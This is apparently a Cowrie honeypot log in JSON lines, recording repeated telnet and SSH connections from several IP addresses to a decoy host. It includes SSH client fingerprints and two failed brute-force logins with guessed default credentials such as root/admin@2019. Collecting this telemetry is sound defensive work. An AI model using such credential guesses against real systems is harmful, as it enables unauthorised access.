{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdda760e8a1a","protocol":"telnet","message":"New connection: 188.208.141.113:44334 (10.17.0.5:23) [session: fdda760e8a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:23.027571Z"}
{"eventid":"cowrie.session.closed","duration":30.93399715423584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:23.753149Z","src_ip":"104.245.105.2","session":"c9b21e777e0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46092,"dst_ip":"10.17.0.5","dst_port":23,"session":"06df8b22e415","protocol":"telnet","message":"New connection: 104.245.105.2:46092 (10.17.0.5:23) [session: 06df8b22e415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:23.757807Z"}
{"eventid":"cowrie.session.closed","duration":46.0053825378418,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:25.226370Z","src_ip":"206.189.32.23","session":"2c8249945d31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.223767042160034,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:25.251257Z","src_ip":"188.208.141.113","session":"fdda760e8a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.05765962600708,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:29.083145Z","src_ip":"188.208.141.113","session":"ca6a72727656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40566,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d031dd98751","protocol":"telnet","message":"New connection: 206.189.32.23:40566 (10.17.0.5:23) [session: 7d031dd98751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:35.515049Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40938,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e8036b64653","protocol":"telnet","message":"New connection: 104.245.105.2:40938 (10.17.0.5:23) [session: 1e8036b64653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:35.787503Z"}
{"eventid":"cowrie.session.closed","duration":32.01058554649353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:35.948260Z","src_ip":"104.245.105.2","session":"46c57ed42763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01708984375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:37.083952Z","src_ip":"104.245.105.2","session":"d0931065385f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46440815925598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:38.382337Z","src_ip":"104.245.105.2","session":"6b1ff1055978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46006,"dst_ip":"10.17.0.5","dst_port":23,"session":"74555e7a2550","protocol":"telnet","message":"New connection: 104.245.105.2:46006 (10.17.0.5:23) [session: 74555e7a2550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:39.584223Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46026,"dst_ip":"10.17.0.5","dst_port":23,"session":"651485c725c3","protocol":"telnet","message":"New connection: 104.245.105.2:46026 (10.17.0.5:23) [session: 651485c725c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:41.143908Z"}
{"eventid":"cowrie.session.closed","duration":31.050646543502808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:41.255383Z","src_ip":"104.245.105.2","session":"0c338b9a29b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46016,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b06543d4e70","protocol":"telnet","message":"New connection: 104.245.105.2:46016 (10.17.0.5:23) [session: 0b06543d4e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:41.387698Z"}
{"eventid":"cowrie.session.closed","duration":38.6445415019989,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:42.703312Z","src_ip":"162.55.233.176","session":"661c3d4b9269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46028,"dst_ip":"10.17.0.5","dst_port":23,"session":"444fb601e77a","protocol":"telnet","message":"New connection: 104.245.105.2:46028 (10.17.0.5:23) [session: 444fb601e77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:44.296618Z"}
{"eventid":"cowrie.session.closed","duration":31.347431421279907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:46.717705Z","src_ip":"104.245.105.2","session":"e3e4d2496991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46030,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6aaaf9ce88","protocol":"telnet","message":"New connection: 104.245.105.2:46030 (10.17.0.5:23) [session: fb6aaaf9ce88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:46.760392Z"}
{"eventid":"cowrie.session.closed","duration":8.221214532852173,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:49.364968Z","src_ip":"104.245.105.2","session":"651485c725c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.20961403846741,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:51.530425Z","src_ip":"104.245.105.2","session":"03513b1ea40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47414,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cd1527d7a1d","protocol":"telnet","message":"New connection: 104.245.105.2:47414 (10.17.0.5:23) [session: 1cd1527d7a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:51.679372Z"}
{"eventid":"cowrie.session.closed","duration":43.41047930717468,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:54.114357Z","src_ip":"104.245.105.2","session":"c51a8203ba74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718995094299316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:54.476728Z","src_ip":"104.245.105.2","session":"06df8b22e415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33140683174133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:54.508858Z","src_ip":"104.245.105.2","session":"764df865ee06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.880176305770874,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:55.219131Z","src_ip":"206.189.32.23","session":"1de8cf4b8a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.97465705871582,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:55.281188Z","src_ip":"206.189.32.23","session":"36c0ede2a687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.32942581176758,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:58.125842Z","src_ip":"206.189.32.23","session":"29bbbbc058b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57336,"dst_ip":"10.17.0.5","dst_port":23,"session":"10022346ffa0","protocol":"telnet","message":"New connection: 104.245.105.2:57336 (10.17.0.5:23) [session: 10022346ffa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:00.411924Z"}
{"eventid":"cowrie.session.closed","duration":42.5206618309021,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:00.558753Z","src_ip":"104.245.105.2","session":"759779263605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":42710,"dst_ip":"10.17.0.5","dst_port":22,"session":"659408aaadda","protocol":"ssh","message":"New connection: 190.108.60.10:42710 (10.17.0.5:22) [session: 659408aaadda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:01.884561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:02.034705Z","src_ip":"190.108.60.10","session":"659408aaadda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:02.233737Z","src_ip":"190.108.60.10","session":"659408aaadda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo1234","message":"login attempt [ubuntu/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:03.015268Z","src_ip":"190.108.60.10","session":"659408aaadda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57352,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fd469dafbf","protocol":"telnet","message":"New connection: 104.245.105.2:57352 (10.17.0.5:23) [session: 91fd469dafbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:03.123547Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:04.214727Z","src_ip":"190.108.60.10","session":"659408aaadda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57364,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38719e67e2c","protocol":"telnet","message":"New connection: 104.245.105.2:57364 (10.17.0.5:23) [session: c38719e67e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:07.719536Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44982,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6aaf7e6092","protocol":"telnet","message":"New connection: 206.189.32.23:44982 (10.17.0.5:23) [session: 0c6aaf7e6092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:07.757981Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.92.141.68","src_port":57346,"dst_ip":"10.17.0.5","dst_port":23,"session":"5702134e971f","protocol":"telnet","message":"New connection: 119.92.141.68:57346 (10.17.0.5:23) [session: 5702134e971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:08.033402Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57374,"dst_ip":"10.17.0.5","dst_port":23,"session":"53499636b31f","protocol":"telnet","message":"New connection: 104.245.105.2:57374 (10.17.0.5:23) [session: 53499636b31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:08.559791Z"}
{"eventid":"cowrie.session.closed","duration":51.102874755859375,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:08.808961Z","src_ip":"206.189.32.23","session":"57a4b8ef2c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58104,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f60c605b523","protocol":"telnet","message":"New connection: 104.245.105.2:58104 (10.17.0.5:23) [session: 4f60c605b523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:10.010426Z"}
{"eventid":"cowrie.session.closed","duration":30.56117272377014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:10.145223Z","src_ip":"104.245.105.2","session":"74555e7a2550","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58108,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e66a79c727","protocol":"telnet","message":"New connection: 104.245.105.2:58108 (10.17.0.5:23) [session: c8e66a79c727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:10.702045Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":37070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3866b2a94e1c","protocol":"ssh","message":"New connection: 61.222.211.114:37070 (10.17.0.5:22) [session: 3866b2a94e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:11.408659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:11.413546Z","src_ip":"61.222.211.114","session":"3866b2a94e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:11.617491Z","src_ip":"61.222.211.114","session":"3866b2a94e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2019","message":"login attempt [root/admin@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:12.465232Z","src_ip":"61.222.211.114","session":"3866b2a94e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.7669038772583,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:12.554277Z","src_ip":"104.245.105.2","session":"1e8036b64653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58118,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a044fb6415","protocol":"telnet","message":"New connection: 104.245.105.2:58118 (10.17.0.5:23) [session: 81a044fb6415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:12.573160Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b404ded673b8","protocol":"telnet","message":"New connection: 104.245.105.2:58120 (10.17.0.5:23) [session: b404ded673b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:12.755201Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58124,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f6c72a266eb","protocol":"telnet","message":"New connection: 104.245.105.2:58124 (10.17.0.5:23) [session: 6f6c72a266eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:12.930410Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:13.672019Z","src_ip":"61.222.211.114","session":"3866b2a94e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.02330183982849,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:13.758198Z","src_ip":"206.189.32.23","session":"03b26891be94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979278326034546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:15.275830Z","src_ip":"104.245.105.2","session":"444fb601e77a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55396,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a333d35bef","protocol":"telnet","message":"New connection: 206.189.32.23:55396 (10.17.0.5:23) [session: 44a333d35bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:17.070187Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1197e8bb9a","protocol":"telnet","message":"New connection: 104.245.105.2:58132 (10.17.0.5:23) [session: ed1197e8bb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:17.104831Z"}
{"eventid":"cowrie.session.closed","duration":30.765663385391235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:17.525959Z","src_ip":"104.245.105.2","session":"fb6aaaf9ce88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16043138504028,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:17.548057Z","src_ip":"104.245.105.2","session":"0b06543d4e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58140,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7dda93424e6","protocol":"telnet","message":"New connection: 104.245.105.2:58140 (10.17.0.5:23) [session: a7dda93424e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:19.087522Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58144,"dst_ip":"10.17.0.5","dst_port":23,"session":"96ff90749443","protocol":"telnet","message":"New connection: 104.245.105.2:58144 (10.17.0.5:23) [session: 96ff90749443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:19.426056Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8e30134ffa","protocol":"telnet","message":"New connection: 104.245.105.2:48930 (10.17.0.5:23) [session: ba8e30134ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:20.205836Z"}
{"eventid":"cowrie.session.closed","duration":7.7797627449035645,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:20.710042Z","src_ip":"104.245.105.2","session":"6f6c72a266eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97380542755127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:22.653111Z","src_ip":"104.245.105.2","session":"1cd1527d7a1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.50084900856018,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:23.015771Z","src_ip":"206.189.32.23","session":"7d031dd98751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48932,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f0808f81be","protocol":"telnet","message":"New connection: 104.245.105.2:48932 (10.17.0.5:23) [session: d8f0808f81be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:26.774112Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33782,"dst_ip":"10.17.0.5","dst_port":23,"session":"87dc2fa2129f","protocol":"telnet","message":"New connection: 104.245.105.2:33782 (10.17.0.5:23) [session: 87dc2fa2129f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:29.612009Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"7896392cf607","protocol":"telnet","message":"New connection: 206.189.32.23:59820 (10.17.0.5:23) [session: 7896392cf607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:29.866115Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33796,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26e05b3e686","protocol":"telnet","message":"New connection: 104.245.105.2:33796 (10.17.0.5:23) [session: a26e05b3e686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:30.247978Z"}
{"eventid":"cowrie.session.closed","duration":31.42665123939514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:31.838459Z","src_ip":"104.245.105.2","session":"10022346ffa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1358e011945","protocol":"telnet","message":"New connection: 206.189.32.23:43596 (10.17.0.5:23) [session: a1358e011945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:34.272381Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53752,"dst_ip":"10.17.0.5","dst_port":23,"session":"779567ba1324","protocol":"telnet","message":"New connection: 188.208.141.113:53752 (10.17.0.5:23) [session: 779567ba1324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:34.312742Z"}
